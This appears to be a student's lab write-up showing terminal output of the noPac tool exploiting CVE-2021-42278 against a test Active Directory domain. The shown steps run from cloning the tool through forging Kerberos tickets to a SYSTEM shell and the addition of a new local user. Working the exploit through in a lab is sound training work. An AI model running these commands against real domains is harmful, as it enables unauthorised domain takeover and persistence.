Lab 10-1-2: Active Directory Privilege Escalation (CVE-2021–42278)

```
   ┌──(najd⊛   najd)-[~]
   └─$ sudo git clone https://github.com/Ridter/noPac
[sudo] password for najd:
Cloning into 'noPac'...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Receiving objects: 100% (64/64), 42.02 KiB | 417.00 KiB/s, done.
Resolving deltas: 100% (36/36), done.

   ┌──(najd⊛   najd)-[~]
   └─$ cd noPac

   ┌──(najd⊛   najd)-[~/noPac]
   └─$ ls -al
total 60
drwxr-xr-x  4 root root  4096 Feb  7 02:30 .
drwxr-xr-x 19 najd najd  4096 Feb  7 02:30 ..
drwxr-xr-x  8 root root  4096 Feb  7 02:30 .git
-rw-r--r--  1 root root  1799 Feb  7 02:30 .gitignore
-rw-r--r--  1 root root 18790 Feb  7 02:30 noPac.py
-rw-r--r--  1 root root  6231 Feb  7 02:30 README.md
-rw-r--r--  1 root root    16 Feb  7 02:30 requirements.txt
-rw-r--r--  1 root root  6976 Feb  7 02:30 scanner.py
drwxr-xr-x  2 root root  4096 Feb  7 02:30 utils
```

```
[*] Restored WIN-NMAKBINUFOW sAMAccountName to original value

   ┌──(najd⊛   najd)-[~/noPac]
   └─$ sudo python3 noPac.py najdlab.com/new:'896279Ah' -dc-ip 172.18.160.180 -shell --impersonate administrator -use-
ldap
```



```
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target najd-01.najdlab.com
[*] will try to impersonat administrator
[*] Adding Computer Account "WIN-J6BD8MFQB02"
[*] MachineAccount "WIN-J6BD8MFQB02" password = %PgP^W5%%e#0
[*] Successfully added machine account WIN-J6BD8MFQB02 with password %PgP^W5%%e#0.
[*] WIN-J6BD8MFQB02 object = CN=WIN-J6BD8MFQB02,CN=Computers,DC=najdlab,DC=com
[*] WIN-J6BD8MFQB02 sAMAccountName == najd-01
[*] Saving ticket in najd-01.ccache
[*] Resting the machine account to WIN-J6BD8MFQB02
[*] Restored WIN-J6BD8MFQB02 sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating administrator
[*]     Requesting S4U2self
[*] Saving ticket in administrator.ccache
[*] Remove ccache of najd-01.najdlab.com
[*] Rename ccache with target ...
[*] Attempting to del a computer with the name: WIN-J6BD8MFQB02
[-] Delete computer WIN-J6BD8MFQB02 Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whami
'whami' is not recognized as an internal or external command,
operable program or batch file.


C:\Windows\system32>whoami
nt authority\system


C:\Windows\system32>net user najd66 /add 896279@
The password does not meet the password policy requirements. Check the minimum password length, password complexity and pas
sword history requirements.

More help is available by typing NET HELPMSG 2245.


C:\Windows\system32>net user aarti /add 896279Ah
The command completed successfully.


C:\Windows\system32>
```